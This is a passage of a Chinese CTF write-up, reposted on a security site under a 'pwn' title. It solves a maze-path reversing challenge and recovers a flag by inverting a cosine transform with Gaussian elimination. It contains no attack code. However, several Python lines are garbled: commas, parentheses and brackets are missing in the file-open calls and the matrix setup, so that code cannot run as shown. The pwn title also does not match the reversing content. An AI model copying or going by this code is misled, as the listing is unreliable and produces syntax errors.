                exit(-1)

        print('right! you maybe got it,flag is flag{the footprint of the maze path}')

可以看出来是一个wasd的走迷宫,加一点代码打印出来,手动走一下:

0111111111
0001110000
1100110101
1110110101
1000000101
1001111101
1110000001
1000111111
1010001000
1011100010
sddsdssdddwwwddsssssaaaaassddsddwdds

结果还需要跟编码表对应,直接在代码里加一个打印就可以

input maze path:sddsdssdddwwwddsssssaaaaassddsddwdds
3eea35d-953744a-6d838d1e-f9802c-f7d10
right! you maybe got it,flag is flag{the footprint of the maze path}

BWBA

还原一下加密:

import math
input = b'a'*64
result = [0] * 64
length = len(input)

for i in range(64):
    for j in range(64):
        result[i] += math.cos((j + 0.5) * (3.141592653589793 * i) / 64) * input[j]
    if i == 0:
        result[i] *= math.sqrt(1.0 / length)
    else:
        result[i] *= math.sqrt(2.0 / length)

print(result)

根据这个可以列出来一个64元的方程组,为了保证精度,我在CPP里导出一下系数矩阵:

#include <iostream>
#include <cmath>

int main(){
    double codes[4096];
    double v6, v7, v9 = 64;
    for (int i = 0; i < 64; i ++){
        for (int j = 0; j < 64; j ++){
            v6 = cos(((double)j + 0.5) * (3.141592653589793 * (double)i) / (double)v9);
            std::cout << v6;
            std::cout << ", ";
        }
    }
    double a1, a2, a3;
    a3 = 64;
    a1 = sqrt(2.0 / (double)a3);
    a2 = sqrt(1.0 / (double)a3);
    std::cout << a1 << std::endl;   // 0.176777
    std::cout << a2 << std::endl;   // 0.125
}

然后让我们的G老师写一个高斯消元法的代码:

with open("enc""r"as f:
    result = f.read().split(' ')[:-1]
output = [float(i) for i in result]
with open("codes.txt""r"as f:
    factors = f.read().split(', ')[:-1]
factors = [float(i) for i in factors]

g = []
l = []
for i in range(64):
    m = []
    for j in range(64):
        m.append(factors[i * 64 + j])
    if i == 0:
        l.append(output[i] / 0.125)
    else:
        l.append(output[i] / 0.176777)
    g.append(m)

def gauss_elimination(A, b):
    # 初始化增广矩阵
    n = len(A)
    aug = [[0] * (n + 1for i in range(n)]
    for i in range(n):
        for j in range(n):
            aug[i][j] = A[i][j]
        aug[i][n] = b[i]

    # 高斯消元过程
    for i in range(n):
        # 首先选取主元pivot
        pivot_row = i
        for j in range(i + 1, n):
            if abs(aug[j][i]) > abs(aug[pivot_row][i]):
                pivot_row = j

        # 交换当前行和主元所在行
        if pivot_row != i:
            aug[i], aug[pivot_row] = aug[pivot_row], aug[i]

        # 消元过程
        for j in range(i + 1, n):
            factor = aug[j][i] / aug[i][i]
            for k in range(i, n + 1):
                aug[j][k] -= factor * aug[i][k]

    # 回代求解
    x = [0] * n
    for i in range(n - 1, -1, -1):
        x[i] = aug[i][n]
        for j in range(i + 1, n):
            x[i] -= aug[i][j] * x[j]
        x[i] /= aug[i][i]

    return x

flag = ''
r = gauss_elimination(g, l)
result = [chr(round(i)) for i in r]
for i in result:
    flag += i
print(flag)
print(r)




【CTF】2023春秋杯春季赛pwn全解


原文始发于微信公众号(BeFun安全实验室):【CTF】2023春秋杯春季赛pwn全解

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年5月31日08:38:50
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【CTF】2023春秋杯春季赛pwn全解https://cn-sec.com/archives/1761461.html

发表评论

匿名网友 填写信息